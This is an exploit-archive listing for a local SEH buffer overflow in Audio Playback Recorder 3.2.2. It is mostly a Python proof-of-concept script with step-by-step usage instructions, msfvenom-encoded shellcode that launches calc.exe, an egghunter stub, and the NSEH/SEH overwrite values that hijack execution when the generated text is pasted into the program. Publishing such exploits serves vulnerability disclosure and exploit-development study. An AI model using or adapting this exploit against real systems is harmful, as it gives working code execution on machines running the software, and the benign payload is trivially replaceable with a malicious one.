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Audio Playback Recorder 3.2.2 Local Buffer Overflow

Audio Playback Recorder 3.2.2 Local Buffer Overflow
Posted Sep 9, 2020
Authored by Felipe Winsnes

Audio Playback Recorder version 3.2.2 SEH local buffer overflow exploit.

tags | exploit, overflow, local
MD5 | 6c86c3788101f270007fed2e137f6d33

Audio Playback Recorder 3.2.2 Local Buffer Overflow

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# Exploit Title: Audio Playback Recorder 3.2.2 - Local Buffer Overflow (SEH)
# Date: 2020-09-08
# Author: Felipe Winsnes
# Software Link: https://archive.org/download/tucows_288670_Audio_Playback_Recorder/AudioRec.exe
# Version: 3.2.2
# Tested on: Windows 7 (x86)

# Blog: https://whitecr0wz.github.io/
# Proof of the vulnerability: https://whitecr0wz.github.io/assets/img/Findings11/11-proof.gif

# Proof of Concept:
# 1.- Run the python script, it will create the file "poc.txt" & "buf.txt".
# 2.- Copy the content of the new file "buf.txt" to clipboard.
# 3.- Open the application.
# 4.- Click on the bottom-right blue button to eject.
# 5.- Delete everything on the parameter and paste the clipboard (buf.txt).
# 6.- Click eject once again to close it.
# 7.- Copy poc.txt to the clipboard.
# 8.- Click on "Register".
# 9.- Paste clipboard (poc.txt) on the parameter "Name".
# 10.- Profit.

import struct

# msfvenom -p windows/exec CMD=calc.exe -f py -e x86/alpha_mixed EXITFUNC=thread
# Payload size: 447 bytes

buf = b"w00tw00t"
buf += b"\x89\xe2\xda\xd4\xd9\x72\xf4\x59\x49\x49\x49\x49\x49"
buf += b"\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37"
buf += b"\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41"
buf += b"\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58"
buf += b"\x50\x38\x41\x42\x75\x4a\x49\x69\x6c\x4b\x58\x6d\x52"
buf += b"\x63\x30\x47\x70\x63\x30\x61\x70\x6b\x39\x4a\x45\x65"
buf += b"\x61\x4f\x30\x33\x54\x6e\x6b\x30\x50\x66\x50\x6c\x4b"
buf += b"\x62\x72\x54\x4c\x4c\x4b\x33\x62\x32\x34\x4c\x4b\x42"
buf += b"\x52\x64\x68\x64\x4f\x4d\x67\x42\x6a\x37\x56\x36\x51"
buf += b"\x39\x6f\x4e\x4c\x67\x4c\x50\x61\x31\x6c\x45\x52\x36"
buf += b"\x4c\x45\x70\x7a\x61\x78\x4f\x46\x6d\x37\x71\x4a\x67"
buf += b"\x79\x72\x78\x72\x36\x32\x43\x67\x6e\x6b\x56\x32\x34"
buf += b"\x50\x6e\x6b\x51\x5a\x77\x4c\x6e\x6b\x52\x6c\x74\x51"
buf += b"\x34\x38\x49\x73\x53\x78\x67\x71\x48\x51\x30\x51\x6e"
buf += b"\x6b\x62\x79\x37\x50\x56\x61\x6a\x73\x6c\x4b\x63\x79"
buf += b"\x45\x48\x79\x73\x47\x4a\x42\x69\x6c\x4b\x44\x74\x6c"
buf += b"\x4b\x56\x61\x68\x56\x76\x51\x59\x6f\x4c\x6c\x79\x51"
buf += b"\x58\x4f\x54\x4d\x77\x71\x39\x57\x76\x58\x4b\x50\x53"
buf += b"\x45\x38\x76\x47\x73\x71\x6d\x5a\x58\x37\x4b\x31\x6d"
buf += b"\x46\x44\x71\x65\x4a\x44\x33\x68\x4e\x6b\x36\x38\x57"
buf += b"\x54\x36\x61\x6a\x73\x43\x56\x6c\x4b\x54\x4c\x50\x4b"
buf += b"\x6c\x4b\x36\x38\x57\x6c\x75\x51\x6b\x63\x4c\x4b\x45"
buf += b"\x54\x4c\x4b\x65\x51\x6a\x70\x6f\x79\x73\x74\x57\x54"
buf += b"\x76\x44\x33\x6b\x63\x6b\x43\x51\x72\x79\x72\x7a\x63"
buf += b"\x61\x6b\x4f\x49\x70\x61\x4f\x63\x6f\x61\x4a\x4c\x4b"
buf += b"\x62\x32\x4a\x4b\x4e\x6d\x73\x6d\x61\x7a\x57\x71\x6c"
buf += b"\x4d\x4f\x75\x4c\x72\x47\x70\x65\x50\x35\x50\x56\x30"
buf += b"\x63\x58\x50\x31\x6e\x6b\x32\x4f\x4c\x47\x49\x6f\x79"
buf += b"\x45\x6d\x6b\x6d\x30\x47\x6d\x76\x4a\x65\x5a\x33\x58"
buf += b"\x49\x36\x7a\x35\x6d\x6d\x4d\x4d\x49\x6f\x4e\x35\x37"
buf += b"\x4c\x37\x76\x51\x6c\x35\x5a\x6f\x70\x6b\x4b\x4b\x50"
buf += b"\x63\x45\x54\x45\x6f\x4b\x53\x77\x54\x53\x71\x62\x70"
buf += b"\x6f\x50\x6a\x35\x50\x46\x33\x79\x6f\x68\x55\x31\x73"
buf += b"\x53\x51\x70\x6c\x43\x53\x56\x4e\x62\x45\x73\x48\x71"
buf += b"\x75\x67\x70\x41\x41"

egg = ""
egg += "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
egg += "\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"

nseh = struct.pack("<I", 0x06710870)
seh = struct.pack("<I", 0x10023B71)

buffer = "A" * 456 + nseh + seh + "A" * 5 + egg + "\xff" * 200

f = open ("poc.txt", "w")
f.write(buffer)
f.close()

f = open ("buf.txt", "w")
f.write(buf)
f.close()
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